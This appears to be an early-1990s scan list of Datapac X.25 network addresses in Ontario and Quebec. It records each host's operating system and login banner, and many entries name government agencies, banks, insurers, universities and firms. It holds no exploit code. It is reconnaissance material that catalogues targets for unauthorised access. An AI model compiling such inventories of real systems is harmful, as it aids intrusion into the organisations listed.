20700187           $ VAX/VMS   Canada Centre for Remote Sensing Satellite Op.
20700194                       iNet2000
20700195                       iNet2000
20700201           $           HP3000 Supply & Services Canada
20700326                       DATAPAC : NBA SYSTEM READY
20700416                       Operator Code:
20700439             UNIX      (bcm_kernel)
20700471             ISM       (7/E/1) ISM Systems Corp/Ottawa Processing 
20700541             UNIX     
20700561                       (make a logon attempt)
20700591                       Canadian Intl. Development Agency's BBS(CIDA)
20700596             UNIX      Zoomit 
20700611           $           DIAND INFO SYSTEM. ENTER SERVICE NAME
20700615             SCO OD    Statsys1
20700616           $ UNIX      gateway!login:
20700617             UNIX      Zoomit
20700652             UNIX
20700665           $           NC-PASS
20700666           $           NC-PASS
20700718                       OBS Online Services (WYLBUR)
20700728             VAX/VMS
20700740             UNIX
20700741             VAX/VMS
- 208 - ONTARIO  - Up to 217
20800015             VAX/VMS
20800033             VAX/VMS   v5.5-1
20800043           $           DIAND Info System - INAC. Sioux Lookout.
20800095             TSO
20800235                       DIAND INFO SYSTEM - SUDBURY INAC
20800247             VAX/VMS
20800300           $ VAX/VMS   Certification System 
20800311             VAX/VMS   OTTDBS 
20800313             SunOS     SunOS 4.1.1_DBE (DBEMCP+X25)
20800322             PACX      MD Realty Access Server
20800336             VAX/VMS   MPO Artist VAXCLUSTER V/V v5.3-1   
20800337             UNIX      ecana!login:
20800342             VM/SP     CISTI
20800343             VAX/VMS
20800379             XMUX      node: SUDBURY
20800380                       Operator Code:
20800425                       Welcome to the London Gateway
20800515                       PLEASE ENTER PASSWORD
- 212 - ONTARIO  - Up to 200
21200014             CDCNET
21200030           $ PACX
21200030,logger    $ VAX/VMS   PNFI : VAX 4200/VMS 5.5-2
- 213 - ONTARIO  - Up to 250
21300047                       Please Enter Password
- 216 - ONTARIO  - Up to 200
21600001                       ::
- 217 - ONTARIO  - Up to 200
21700054             VAX/VMS
21700073                       ::
- 221 - ONTARIO  - Up to 325
22100034             HP3000    Burgess Wholesale Foods  MPE/XL -Kingston
22100138                       INT NET  Enter SecurID Passcode:
22100188             VAX/VMS
- 224 - ONTARIO  - Up to 300
22400041             XMUX      node: BELLEVIL
- 226 - ONTARIO  - Up to 200
22600049                       SERVICE ID=
- 227 - ONTARIO  - Up to 200
22700017             VAX/VMS
- 234 - ONTARIO  - Up to 300
23400121           $ UNIX      orillia x25
- 236 - ONTARIO  - Up to 200
23600035             VAX/VMS   Micro VAX 3100 / VMS 5.5
- 238 - ONTARIO  - Up to 800
23800176             VAX/VMS   v5.5-1
23800236             XMUX      node: OTTAWA
23800343                       node 57216d65 (looks like an iNet2000)
23800451           $ VAX/VMS   Certification System
23800491             UNIX      X.29 Terminal Service
23800505                       ONLINE SERVICES(WYLBUR) ENTER USER ID-
23800507                                ""       "" 
23800594                       ENTER FUNCTION:(Fisheries & Oceans Canada)
23800599,console     XMUX      node: MUX8
23800684             VAX/VMS   INFOMART ONLINE
23800685             VAX/VMS   INFOMART ONLINE
23800700             SCO OD    vmabs   SCO Open Desktop
- 243 - ONTARIO  - Up to 250
24300084             VAX/VMS   v5.5
24300149             XMUX      node: SAULTE
- 244 - ONTARIO  - Up to 350
24400061                       SERVICE ID=
24400096                       DATAPAC : SUD SYSTEM READY
24400146             HP3000    PROD.MULTICAR.SUDBURY  MPE XL
2440014601           HP3000DTC MULTICARE:
- 247 - ONTARIO  - Up to 200
24700021                       SERVICE ID=
- 249 - ONTARIO  - Up to 200
24900011             VAX/VMS   INFOMART ONLINE
24900024             ISM       (7/E/1) ISM Systems Corp. Ottawa Proc. Centre
24900040             VAX/VMS
24900057             ISM
24900099             PACX      Gandalf Access Server
- 252 - ONTARIO  - Up to 300
25200014                       TAL TORONTO
25200017             VM/SP
25200054             XMUX      node: TORONTO
25200214             ISM       GUARDIAN INSURANCE - ENTER SYSTEM
25200258                       ::
25200383             VAX/VMS
25200401           $ VAX/VMS
25200486           $ VAX/VMS   Notley Info Service 
25200630             VAX/VMS
- 257 - ONTARIO  - Up to 225
25700031                       > 
25700057             VAX/VMS   
- 261 - ONTARIO  - Up to 200
26100091             VAX/VMS
- 283 - ONTARIO  - Up to 400
28300080             VAX/VMS
28300083             XMUX      node: XMUX1
28300092             INETCO
28300154             VAX/VMS
- 287 - ONTARIO  - Up to 200
28700014             VAX/VMS
28700029                       SERVICE ID=
28700030                       LEVITT SAFETY / THUNDER BAY
- 292 - ONTARIO  - Up to 200
29200013             VAX/VMS
- 293 - ONTARIO  - Up to 200
29300045           $ VAX/VMS
- 294 - ONTARIO  - Up to 400
29400172             VAX/VMS
29400176                       Enter System ID:   IDS
29400254             XMUX      node: WINDSOR
29400263             ISM       CDNC
29400264             ISM       CDNC
- 295 - ONTARIO  - Up to 200
29500009           $             Datapac Public OD
29500071           $                    ""
29500072           $                    ""
29500073           $                    ""
29500074           $                    ""
29500075           $                    ""
29500092                       :  
29500137                       ::
29500139             PRIMOS    23.3.0  INTENG
29500166           $             Datapac Public OD
29500167           $                    ""
29500168           $                    ""
29500900           $                    ""
29500901           $                    ""
- 296 - ONTARIO  - Up to 1150
29600018             PRIMOS    v23     FAXON
29600136             KMUX      GANDALF KMUX PWORD>
29600219                       DATAPAC : LON SYSTEM READY 
29600224             XMUX      node: LONDON   
29600242             XMUX      node: WELLSARN
29600269             XMUX      node: LAMB1
29600363             XMUX      node: LAMB2
29600372             VAX/VMS   node CRUNCH   
296003741            HP3000TC  dtc1.clover.produce
29600378             VAX/VMS   LDNSRV 
29600389             VAX/VMS
29600391             VAX/VMS   LDNSRV
29600427                       ENTER SITE NUMBER -> 
29600437             XMUX      node: LONDON
29600448           $ XMUX      node: SARNIA    
29600453             HP3000    DCLDN.MB.NETWORK 
296004531            HP3000DTC
29600531             HP3000    HP960.WDSK.TIMBERJK
29600744                       AMDAHL COMM. INC  LOCAL CRAFT INTERFACE 
29600750             SCO       SysV/386 3.2 krsar 
2960075101           INETCO    Polystar E.C.U
29600756                       Enter profile ID: 
29600817                       PLEASE ENTER PASSWORD
29600890             XMUX      node: LONDON
- 305 - ONTARIO  - Up to 400
30500153                       AXA Canada Data Center(PACKET/74)
- 315 - ONTARIO  - Up to 900
31500065             SCO OD    isgsys1   SCO Open Desktop 2.0
31500076           $ PACX      UWO Computing & Communications Services 
315000767            XMUX      node: CCSMUX1
31500083,console     XMUX      node: LONDON
31500225             SCO OD    isg2      SCO Open Desktop 2.0
31500528             XMUX      node: SARNIA
31500607             PRIMOS    23.3.0.R20   WPPENG
31500726             UNIX      ADC T-SENTRY
31500787             XMUX      node: BUNTINRI
31500838                       MHP201A DTPAC06L VER 7.0.3 APPLICATION:
- 324 - ONTARIO  - Up to 200
32400014             XMUX      node: LONDON
32400016                       ISP-LOGON-CHRISTIE
32400067           $ VM/SP     D.H. Howden
32400107             PRIMOS    22.1.2.R38   HUNT
32400122               "           ""
32400223             VAX/VMS   Micro VMS v5.3
32400249             VAX/VMS   Big V's Pharmacy System
32400252             IBM3708   Type port password ===>
- 325 - ONTARIO  - Up to 750
32500023,console     XMUX      node: LONDON1
32500053             XMUX      node: 074
32500099             XMUX      node: WIND
32500149                       enter passcode:
32500202             VAX/VMS   W.R.C.S.S.B
32500225             VAX/VMS   London system A - Boot Node - MicroVMS v4.7
32500239             VAX/VMS
32500274             VAX/VMS
32500345           $           MHP1201I TERMINAL CONNECTED TO PACKET/74
32500367             XMUX      node: WINDSOR
32500369             UNIX
32500383             XMUX      node: STERLING
325003833            BOSX/DPX  (RISC?) Sterling Marking Products Inc.
32500386                       5251 Controller emulator - v.191 Password:
32500396             VAX/VMS   MicroVMS 5.3-1
32500406             VAX/VMS   MicroVMS 5.3-1
32500523                       SERVICE ID=
32500680             XMUX      node: WINDSOR
32500692             XMUX      node: WINDSOR
32500692,lon1                  P M R
32500713             XMUX      node: STTHOMAS
32500850                       DATAPAC: WII SYSTEM READY
- 326 - ONTARIO  - Up to 350
32600052                       (7/E/1)  Compuserve
32600056             PRIMOS    22.1.2.R3    PBTOOL
32600243             VAX/VMS
- 334 - ONTARIO  - Up to 1630
33400115                       SERVICE ID=
33400223                       Adjusters Canada Inc. Please enter X25 Security
33400246             PRIMOS    22.0.3.R37    BLTCAD
33400306           $              Datapac Public OD
33400337           $                    ""                                 
33400344           $                    "" 
33400345           $                    "" 
33400346           $                    "" 
33400347           $                    "" 
33400348           $                    "" 
33400349           $                    ""
334005211            ISM
33400550             ULTRIX
33400589           $              Datapac Public OD
33400590           $                    "" 
33400591           $                    "" 
33400609             ISM
33400630             PRIMOS     22.1.3 THOR Engle Canada
33400672             UNIX 
334006729            XMUX       node: CAMBPACK 
33400694             Sim3278
33400703             UNIX       AT&T SV - WLU
3340070399                      MPX.25102: PASSWORD
33400892                        ===>
33400900           $              Datapac Public OD
33400901           $                    ""
33401149             XMUX      node: KITCH
33401414                          Datapac Public OD
33401415                                ""
33401453             DYNIX     SpaeNaur SVR4
33401462                          Datapac Public OD
334014751            XMUX      node: WATERLOO
33401475                       Chase IoLan Terminal Server
33401528             UNIX
33401537             Sim3278
- 335 - ONTARIO  - Up to 400
33500021                       JMS Online Service. Please enter ID:
33500033           $           ENTER LOGON REQUEST
33500081                       JMS Administator line. Enter SYSTEM or SERVICE.
33500099                                         " "
33500110             XMUX      node: WATERLOO
33500136                       Wilfrid Laurier University x.25 PAD
33500142                       Prudential Assurance / Kitchener
33500196                       University of Waterloo online Library
- 337 - ONTARIO  - Up to 600
33700015             PICK      
33700115             STARMASTER Agriculture Canada Ontario Regional Com. Cent.
33700115,console     XMUX      node: GUELPH
33700133             XMUX      node: 362
33700216             XMUX      node: 767
33700236             VAX/VMS   Wellington Country Roman Catholic School Board
33700238             VAX/VMS
33700345             VAX/VMS
33700346           $ HP3000DTC Enter DTC port password:
33700348                       DATAPAC : KIT SYSTEM READY
33700349           $           ZAM0001
33700376           $ VAX/VMS   Ontario College Application Service
33700393                       ::
33700465             ISM       NET-PASS NPA MAGIC
- 341 - ONTARIO  - Up to 200
34100013             VAX/VMS
- 342 - ONTARIO  - Up to 325
34200139                       SERVICE ID=
- 351 - ONTARIO  - Up to 200
35100010           $ VAX/VMS
- 355 - ONTARIO  - Up to 400
35500179             PICK      WELCOME TO HAC INFO NETWORK
35500179,console     XMUX      node: HLSTEIN
- 356 - ONTARIO  - Up to 400 
35600110           $              Datapac Public OD
35600158             UNIX      3x3 
35600273             DEVELNET  University/Hospital Network
35600900           $              Datapac Public OD
35600901           $                     ""
- 362 - ONTARIO  - Up to 310
36200027                       MHP201A U0000053  Ver 7.0.5 APPLICATION:
- 367 - ONTARIO  - Up to 640
36700021                       USER NUMBER --
36700026             VAX/VMS
36700030                       USER NUMBER --
36700038           $ UNIX       
36700059             QINTER
36700115                       OCC System
36700126                       SERVICE ID=
36700172                       SAFEGUARD 2>
36700183             XMUX      node: DP01
36700184             XMUX      node: DP02
36700185             HP3000
36700369                       NETWORK CONTROL
36700369,console     XMUX      node: CMS5
36700372                       SAFEGUARD 4>
36700381             Sim3278
36700382             Sim3278
- 372 - ONTARIO  - Up to 200
37200020             VAX/VMS
- 375 - ONTARIO  - Up to 200
37500014             VAX/VMS
- 376 - ONTARIO  - Up to 300
37600014                       SERVICE ID=
37600020             HP3000    HP900.HCB.CANADA  MPE/XL
37600027                       MHP1201I TERMINAL CONNECTED TO PACKET/400
37600029,console     XMUX      node: HAMILTON
37600044           $ ISM       SCC INTERACTIVE SERVICES
37600066                       MHP1201I TERMINAL CONNECTED TO 4.15 PACKET/74
37600152,console     XMUX      node: HAMILTON
37600166             XMUX      node: BUTLER
37600176,console     XMUX      node: DISCOUNT
- 383 - ONTARIO  - Up to 265
38300083             VAX/VMS
- 385 - ONTARIO  - Up to 1260
38500079           $           TANGRAM ARBITER LU1
38500085                       (7/E/1) HCH Magic
38500122             PACX      CCINFO
38500150           $              Datapac Public OD
38500151           $                    ""
38500152           $                    ""
38500153           $                    ""
38500154           $                    ""
38500163           $                    ""
38500164           $                    ""
38500165           $                    ""
38500198           $                    ""
38500200           $                    ""
38500201           $                    ""
38500202           $                    ""
38500203           $                    ""
38500204           $                    ""
38500205           $                    ""
38500226             XMUX      node: (no node name)
38500262                       Please enter your operator number
38500356             PACX      CCINFO
38500399                       SERVICE ID=
38500400                       ::
38500431             VAX/VMS
38500586             VAX/VMS   MicroVMS v5.3
38500891             VAX/VMS
38500900           $              Datapac Public OD
38500901           $                    ""
38501019,console     XMUX      node: WELLAND
38501149             XMUX      node: CPNWRI
38501151             VAX/VMS   
3850115151                     MPX.251A0: PASSWORD
38501155                       DATAPAC : BUR SYSTEM READY
38501175             CDCNET
38501194             VAX/VMS   AEG Electrocom CDN_CECO  V25.3
- 387 - ONTARIO  - Up to 800
38700015             VAX/VMS   BURCOM - MicroVAX ][ - MSB
38700022,console     XMUX      node: RBURL
38700048             PRIMOS    20.2.6 SYSD
38700068           $           Bailey Controls Canada 
38700119                       ::
38700127             XMUX      node: STORE031
38700132             XMUX      node: LIMRIDGE
38700152             PRIMOS    20.2.6 SYSF
38700153             PRIMOS    20.2.6 SYSL
38700155                       XGATE:
38700162             XMUX      node: QUEENSTN
38700261             XMUX      node: HAMILTON
38700262             XMUX      node: FORTERIE
38700426             XMUX      node: HAM
38700583,console     XMUX      node: DISCNT2
38700629             XMUX      node: NIAGARA
- 391 - ONTARIO  - Up to 600
39100017             Sim3278   Merlin
39100019             Sim3278   Merlin 
39100020             Sim3278   Merlin
39100041                       Id:          LU:Z0068
39100043                       Id:          LU:Z0070
39100044                       Id:          LU:Z0077
39100045                       Id:          LU:Z0078
39100049                       Green Line Investor Services
39100057             VAX/VMS   Burns Fry Analytics Inc. Fixed Income Research
39100077                       Toronto Public Library
391000775            XMUX      node: TPL
39100092             INT/UNIX  system name: cirus 2  INTERACTIVE SYSTEMS CORP.
39100146             XMUX      node: STORE088
39100200                       iNet2000
39100234             VAX/VMS   Burns Fry Ltd.  MicroVAX 3800
39100395             HP3000
39100498             STARMASTER
39100498,console     XMUX      node: BCE
39100503             Sim3278   Merlin 
39100566             STARMASTER     NORBORD Industries
39100566,console               Console
39100581             AOS/VS
- 394 - ONTARIO  - Up to 200
39400100                       iNet2000
39400101                       iNet2000
- 395 - ONTARIO  - Up to 200
39500032                       INFOGLOBE DATABASE--PLEASE SIGN ON
- 401 - QUEBEC   - Up to 1100
40100012             PACX      U.C.G.  PACX 2000
40100012,console     XMUX      BELL CANADA DATAPAC 3000 ACCESS node: CRB1
40100016             XMUX      node: CRB2
40100044             ISM
40100071             VAX/VMS
40100073                       XGATE:
40100111             XMUX      node: STORE316
40100112             XMUX      node: 086
40100161             ISM
40100347                       USERID:
40100354             ISM       IIS
40100398             ISM       IIS
40100399             ISM       IIS
40100406                       TACL 1>
40100408                       TACL 1> 
40100410             ISM       IIS
40100411             ISM       IIS
40100412             ISM       IIS
40100413             ISM       IIS
40100437             DG/UX     dhserv X.29 Terminal Service Rel 5.4.1
40100486             VAX/VMS   Ault Foods - Don Mills Order Entry System
40100682                       Life Insurance Corp of Canada
40100791           $           MHP201A  Version 7.0.5  Application:
40100792           $                        ""  ""
40101000             VAX/VMS
40101017             VAX/VMS   Philips Medical Systems v5.4
- 404 - QUEBEC   - Up to 235
40400017             RSX-11
- 406 - QUEBEC   - Up to 200
40600016,0                     (banktest)
40600042                       USERID:
- 409 - QUEBEC   - Up to 200
40900021             UNIX      UNIX System V Rel 4.0 (fatman) AT&T MIServer-S
4090002101           SunOS     fiji 
- 411 - QUEBEC   - Up to 730
41100043                       INFO Globe Database
41100045             INT/UNIX  System name:wgimf
41100054             MICROMAX  Green Line Investor Services Inc. 
41100057               ""             ""         ""
41100065             VAX/VMS   Quebecor Printing Inc.  VAX 4600/VMS 5.5
41100094             ISM
41100130             PRIMOS    23.2.0.R48   MD.CON
41100131             PRIMOS    23.2.0       CS.FSG
41100166                       (like a VAXes + others)
41100229                       $$ 50 Device Type Identifier:
41100266             ISM
41100291                       iNet2000
41100656             VAX/VMS   Lotus CSG Canada
41100657             UNIX      gnt-1 login:
- 412 - QUEBEC   - Up to 200
41200027           $           SERVICE ID=
- 413 - QUEBEC   - Up to 200
41600037           $ VAX/VMS
41600094           $ VAX/VMS
41600105           $ VAX/VMS
- 414 - QUEBEC   - Up to 300
41400036             RSX-11
- 415 - QUEBEC   - Up to 300
41500077             VM/SP     TERMINAL COMMUNICATIONS SYSTEM ][
41500087,console     XMUX      node: GNAREX
415000874            HP3000    HULK/XL
- 416 - QUEBEC   - Up to 450
41600036                       Id:         LU:Z0529
41600134                       Compuserve
41600311                       QL   PLEASE SIGN ON:
4160031112           XMUX      node: (unavailable)
4160031114                     QL Systems Limited Data Transmission/Collection
41600316             PRIMOS    22.1.1.R31  HEADCL
41600388                       DISC Username:
- 423 - QUEBEC   - Up to 200
42300021             XMUX      node:(no node name)
42300052                       (wants a function)
- 427 - QUEBEC   - Up to 450
42700077             HP-UX     lenny A.08.02 E 9000/847
42700079                       User Id:
42700079,console     XMUX
42700089             HP3000DTC DTCC01.BRW.NTL
42700090             HP3000DTC DTCC02.BRW.NTL 
42700098                       Minicom Data Corp.  System L7
42700235             VAX/VMS   
- 428 - QUEBEC   - Up to 500
42800010                       SERVICE ID=
4280001098                     6505 PAD (node PCSI) CTP  Enter Password:
42800018           $ HP3000DTC Enter DTC Port password:
42800128                       MHP1201I TERMINAL CONNECTED TO PACKET/74
42800166             ISM
42800174             NOVELL    
42800175             DEVELNET
42800349             VAX/VMS   Janssen Pharmaceutica Inc.
42800403                       $$ 4200 MODEL:  USER ID--
- 429 - QUEBEC   - Up to 325
42900027             XMUX      node: WELLMISS
42900075                       Logon:
42900097           $           MHP201A TCX0  APPLICATION:
42900128             SCO       asthos  SCO System V/386
42900196                       Minicom Data Corp.  System A3
- 436 - ONTARIO  - Up to 1000
43600107             Sim3278   Canada Life Assurance Co.
43600173           $           DIAND - TORONTO
43600190             XMUX      node: TELEMAN
43600255           $ Sim3278   Canada Life Assurance Co.
43600301             HP3000
43600322             PCBOARD   Black Board  
43600363             QINTER    Real Estate
43600348                       Minicom Data Corp.  System CN
43600362             QINTER    Real Estate
43600408                       ONLINE  ******
43600438             UNIX      (x25)
43600459                       MHP201A LPACK317 ver5.5.5 APPLICATION:
43600477                       LU 8     Password
43600484                       Amdahl Communications Inc. Testing
43600485                                "
43600506             UNIX      McGregor Industries Inc. Unix System v.4(SCO?)
43600506,console     XMUX      node: T1MUX
43600514                       Enter Terminal Code:  Creditel of Canada Ltd.
43600596             XMUX      node: (no node name)
43600620             XMUX      node: DACTOR
43600811                       MHP201A LPACK163 Application:
43600829                       ROYALNET
43600830                          "
43600903                       MHP201A LPACK317 Application:
- 437 - ONTARIO  - Up to 5933
43700016             Sim3278   
43700066                       Proair Transportation
43700067             HP3000
43700075             UNIX      Cohort! X25
43700085             HP3000    HP980.TOR.BASF
43700121             XMUX      node: PEARSON
43700138             UNIX
43700162             XMUX      node: QUEENSTN    
43700185                       Regional Realty Ltd. Toronto
43700193             VAX/VMS
43700265             VAX/VMS   Rehabilitation Services of Canada
43700292             VCX-100   UMA Engineering/Spantec - Torontor
43700300             XMUX      node: TORONTO
43700370             SunSPARC  IIS Technologies
43700461                       UTLAS at your service  Logon please:
43700462                                ""
43700463                                ""
43700485             HP3000
43700486             HP3000
43700487             HP3000
43700581             HP-UX     Apollo - Domtar COD Etobicoke
43700593             UNIX      Unix Sys V Rel 4 ICL DRS 6000s DRS/NX System 38
43700645                       SEND
43700646             XMUX      node: BUNTIN
43700654           $ SCO       architel   SCO System V/386
43700722             XMUX      node: INVSALE1
437007255            XMUX      node: TORONTO
43700736             VAX/VMS   Abell Waco Computer System
43700756             PACX      (User interface)
43700756,console     XMUX      node: TWM756A
43700760             VAX/VMS   DANZAS CANADA LTD.
43700771             HP3000    EUCLID1.NETWORK.EUCLID MPE/iX HP319000
437007711            HP3000DTC
43700772,console     XMUX      node: CHEMEX
43700777             XMUX      node: INVWA
43700780             UNIX
43700848             VM/SP
43700851             VM/SP
43701169             HP3000
43701285             XMUX      node: RNGREXDL
43701293             VAX/VMS
43701343                       MHP1201I TERMINAL CONNECTED TO PACKET/74 
43701389                       SERVICE ID=
43701434,console     XMUX      node: TORONTO
43701444             Sim3278
43701447                       ENTER SWITCH CHARACTERS
43701470                       SERVICE ID=
43701471                       SERVICE ID=
43701472                       SERVICE ID=
43701494           $           Government of Ontario -MGS  service:
- 438 - ONTARIO  - Up to 1400
43800014             XMUX      node: CLAYSON
43800066             VM/SP     Integrated Intelligent Solutions
43800128             XMUX      node: TORONTO
43800178             XMUX      node: STORE389
43800188             WILDCAT   chimopad
43800188,console     XMUX      node: CHIMO1
43800198             VAX/VMS
43800241             AIX
43800276             HP3000
43800334             PRIMOS    TORONT
43800336             VAX/VMS
43800349             UNIX
43800395             VAX/VMS   v5.4-2
43800458                       XGATE:
43800601             XMUX      node: COASTPR
43800634             PACX      (User Interface)
43800634,console     XMUX      node: MATHESON
43800637             XMUX      node: TORONTO
43800716                       Minicom Data Corp. System D0
43800718                       Code:
43800738             VAX/VMS   MicroVMS
43800732             VAX/VMS   MicroVMS
43800741             Sim3278   XEROX CANADA
43800762                       ID=
43800767                       DATAPAC : NOY SYSTEM READY
43800775             VAX/VMS   CERBERUS Pyrotechnics Inc.
43800783                       SERVICE ID=
43800812             PACX      (User interface)
43800845             VAX/VMS   GE Hamilton Computers VAX 4000/600
43800879             XMUX      node: CANTEL2
438008796                      (server)
43801024             Sim3278   F.W. Woolworth
43801051             VAX/VMS
43801189                       System/32 VOS Module %can_bryker#M1
43801190                                ""    ""
43801199             UNIX      CAD group
43801210             UNIX      CAD group
43801290                       Hello
43801303,console     XMUX      node: MARKEL
- 439 - ONTARIO  - Up to 500
43900170                       DNX-100 MMI 
43900256             UNIX      X25
- 442 - ONTARIO  - Up to 300
44200027             PICK      FRI Corporation PMIS 575.Group Commerce/Finance
44200112,console     XMUX      node: STORE360
44200115             NOVELL
44200135             Sim3278   Cenntial College of Applied Arts & Technology
44200140             Sim3278   Library System
44200192                       DCAENRT1 is connected to OSPC1B
- 443 - ONTARIO  - Up to 200
44300049             VAX/VMS   LCI Corporate Computing
44300130                       ENTER STOCK ACCESS CODE
- 444 - ONTARIO  - Up to 350
44400030             UNIX      CAD Group (cad1)
44400049             UNIX      This is our latest and greatest X.29 Service
44400053                       IBM INFORMATION SERVICES  Enter USERID Account
44400086             XMUX      node: WAYE
44400093             VAX/VMS   
44400113                       MHP201A UTWX21  Version 6.0.1 APPLICATION:
44400139             Sim3278
44400140             QINTER    
44400157             UNIX      CAD Group (cad1)
- 445 - ONTARIO  - Up to 700
44500014                       XGATE:
44500040                       VTRM1000  Online Logon CA-VTERM
44500044                       Operator Code:
44500057             XMUX      node: MUXNET00
44500057,m0c7        ITX/DP
44500079             XMUX      node: MUXNET4
44500080             XMUX      node: MUXNET02
44500110                       OCC System
44500116             PACX
44500170,console     XMUX      node: BURCRMKI
44500216             XMUX      node: SCARPLT
4450021611           UNIX      Manson/AC Wild  9600 login:
44500217             XMUX      node: SCARB
44500324                       MSG01I
44500340             XMUX      node:FFUPJOHN  Upjohn Field Contact Comm. Cent.
44500365                       Prudential CDNO
44500366                           ""
44500418             XMUX      node: GRAFPAPR
44500422           $           Enter profile ID:
44500438                       TACL 1>
44500460             VAX/VMS   
44500469             MAJORBBS  Novopharm PIP File Server 
44500484             SCO OD    system name: dopey  SCO Open Desktop v2.0
44500485             SCO OD    system name: scltor
44500510                       XGATE:
- 446 - ONTARIO  - Up to 1050
44600027             XMUX      node: TORONTO
44600029             IAO/AIS   HITS
44600039             ARIS      APPLE CANADA INC.
44600083                       RAPIDNET (net to various bank/credit facilities
44600106             UNIX      Welcome to Suntalk
44600123             ISM
44600169             PICK    
44600185             ISM       ULTRAMAR
4460021201           INETCO    amcu
44600367                       HONDA NETWORK (PACKET/74)
44600370                       DATAPAC : OSH SYSTEM READY
44600371                       DATAPAC : SCA SYSTEM READY
44600425                       XGATE:
44600427             XMUX      node: TOR
44600436                       XGATE:
44600439             VAX/VMS   v5.3-2
446004391            DECSERVER Emulux Performance 4000
44600466             XMUX      node: PICK1
44600515             PRIMOS    23.3.0.R39       TENEX
44600521             UNIX      Olivetti X/OS System V
4460052106           XMUX      node: TORONTO
44600541             XMUX      node: PICK2
44600546             VCX-100   Businessland:
44600547             XMUX      node: ESDENX
44600575           $           INSTADA - PLEASE LOGON
44600584             XMUX      node: PICK3
44600617             NOVELL
44600631                       XGATE:
44600662             XMUX      node: OSHAWA
44600773                       BULL HN Canada -sbsi Middlefield Switcher Mach.
44600784             XMUX      node: TAPWA
44600820             ISM
- 447 - ONTARIO  - Up to 200
44700034             PACX
44700037           $ XMUX      node: BATA
44700042                       DI ASSOCIATES INC.  
44700049                       OCC System
44700050                       OCC System
44700065                       (wants a function)
44700067                       (wants a function)
44700069             XMUX      node: BERWARE
44700075             XMUX      node: BARBRELS
44700116                       OCC System
44700117                       OCC System
44700123             SCO       ELECTRONIC VILLAGE  SCO Sys V/386 3.2
- 455 - QUEBEC   - Up to 400
45500170,console     XMUX      node: BURCRMKI
- 458 - QUEBEC   - Up to 400
45800114,console     XMUX      node: QT722XXX
45800114,2227                  VOUS ETES CONNECTE SUR UNE MODEM SORTANT!
45800114,2225                  BIENVENUE AU SERVICE 722-2225
45800114,2220                  BIENVENUE AU SERVICE 2220
45800116                       ::
45800222           $ UNIX      Dell UNIX SysV Rel 4.(i386/486)Sysname:Atlantis
- 462 - QUEBEC   - Up to 200
46200052                       LEVITT SAFETY / JONQUIERE
- 465 - QUEBEC   - Up to 750
46500173           $           RESEAU DU MAINC. QUEBEC - MAINC
46500250             UNIX      UNITL - Applications Pedagogiques
46500346             VAX/VMS
46500392                       ::
46500397           $           HITELC
46500439             UNIX      Commision de toponymie
46500489             VAX/VMS
46500493                       MS-L-CM-028-QUBCPQ1411M
46500494                       MS-L-CM-027-QUBCPQ1412M
46500495                       MS-L-CM-027-QUBCPQ1413M
46500545             XMUX      node: QUEBEC
- 468 - QUEBEC   - Up to 200
46800010             HP3000DTC DTC01.FIN.MINERALS  Noranda Minerals Inc.
46800034                       iNet2000
- 482 - QUEBEC   - Up to 1125
48200150           $ PCANYWHERE 
48200195                       MS-G-CMD-027-QUBCPQ1407M
48200451             VAX/VMS   CHIMITEC LTEE
48200653,console     XMUX      node: MICRO
48200820             XMUX      node: HFLLAUZ
48200828             XMUX      node: QUE
48201002             STARMASTER  (User Interface) 
- 484 - QUEBEC   - Up to 600
48400052           $             Datapac Public OD
48400053           $                    ""        
48400073           $                    ""
48400076           $                    ""
48400077           $                    ""
48400079           $                    ""
48400081           $                    ""
48400085           $                    ""
48400092           $                    ""
48400093           $                    ""
48400398           $                    ""
48400399           $                    ""
48400412           $                    ""
48400413           $                    ""
48400431             VAX/VMS   MicroVMS 5.3
48400900           $              Datapac Public OD
48400901           $                    ""
- 485 - QUEBEC   - Up to 1450
48500077             RENEX
48500114             VAX/VMS
48500127                       ::
48500129             XMUX      node: QBC1
48500233                       ISP-LOGON-CHRISTIE
48500356                       SERVICE ID=
48500388             TSO          
48500398             TSO
48500473             XMUX      node: ROLLAND
48500548                       #
48500848             Sim3278   
48501266             TSO
48501349                       ::
48501390                       MS-Q-CMD-027-QUBCPQ 1415M
- 493 - QUEBEC   - Up to 300
49300053                       SERVICE ID=
- 494 - QUEBEC   - Up to 400
49400157             HP3000    SDM Inc.
49400249             UNIX      The Echo Group
- 495 - QUEBEC   - Up to 400
49500128             VAX/VMS   Le Chateau  Micro VMS v4.5
49500145             VAX/VMS
- 496 - QUEBEC   - Up to 900
49600027           $           Systeme Desire:
49600038             VM/SP     FRIMTL 
49600043             ISM       Banque du Terminologie
49600098                       ENTER YOUR USERID==>
49600103             PRIMOS    22.1.4.R39   EHPSTS
49600107             AOS/VS    
49600178,console     PICK      Montrusco Senior
49600186             XMUX      node:398
49600225             Sim3278   Tele-Direct(Pub)Inc.
49600230                       Reseau I.S.T Network
49600232           $           $$ 4200 MODEL:
49600288             XMUX      node: TENEX
49600296                       EDUPAC L19T019 MTL2 DIM  Identification:
49600318,console     XMUX      node: DARIER
49600627             VAX/VMS   
49600687             UNISYS    PARAMAX Systems Canada  Unisys System V
49600703             XMUX      node: MFA
- 497 - QUEBEC   - Up to 450
49700034                       SERVICE ID=
49700075                       SERVICE ID=
49700106             PICK  
49700117             VAX/VMS   Micro-VAX ][
49700131                       Resource?
49700338                       Electronic Access Systems from BCE
- 498 - QUEBEC   - Up to 400
49800089             Sim3278   LE MINISTERE DE LA JUSTICE
49800158             UNIX      bbm3   X25
- 508 - QUEBEC   - Up to 200
50800036             VAX/VMS   Canadian Marconi
50800070             QINTER    NHL
50800093             SCO OD    SCO Open Desktop    vmis
50800094             SCO OD    SCO Open Desktop    database
50800116             UNIX      PARAMAX (disk_x25_sbc_hsis)
- 509 - QUEBEC   - Up to 1039
50900179           $           YAK Network Message System - Maufer Dist. Inc
50900255                       SERVICE ID=
50900273             XMUX      node: MOTAM
50900275             VAX/VMS
50900285             VAX/VMS
50900314                       Hartco Bulletin Board System
509003211            HP3000DTC DTC02P.PFD.DOMTAR
50900325             DECSERVER #
50900325,console     XMUX      node: MUXPAC
50900346             QINTER    Bristol Myers Squibb  Canadian Data Center
50900368             XMUX      node: MTL
50900395                       XGATE:
5090041710           VAX/VMS
50900423             VAX/VMS
50900439                       XGATE:
50900496             Sim3278   H.J. Heinz
50900497             HP3000
50900501                       AMI ASSOCIES INC/MONTREAL
50900560,console   $ XMUX      node: TUMORS 
50900655             STARMASTER (user interface)
50900658                       HIBBS - Federation Autonome du Collegial
50900671                       Reseau I.S.T Network
50900820             UNIX      X.29 link established
50900893                       Royalnet
50900894                       Royalnet
- 511 - QUEBEC   - Up to 525
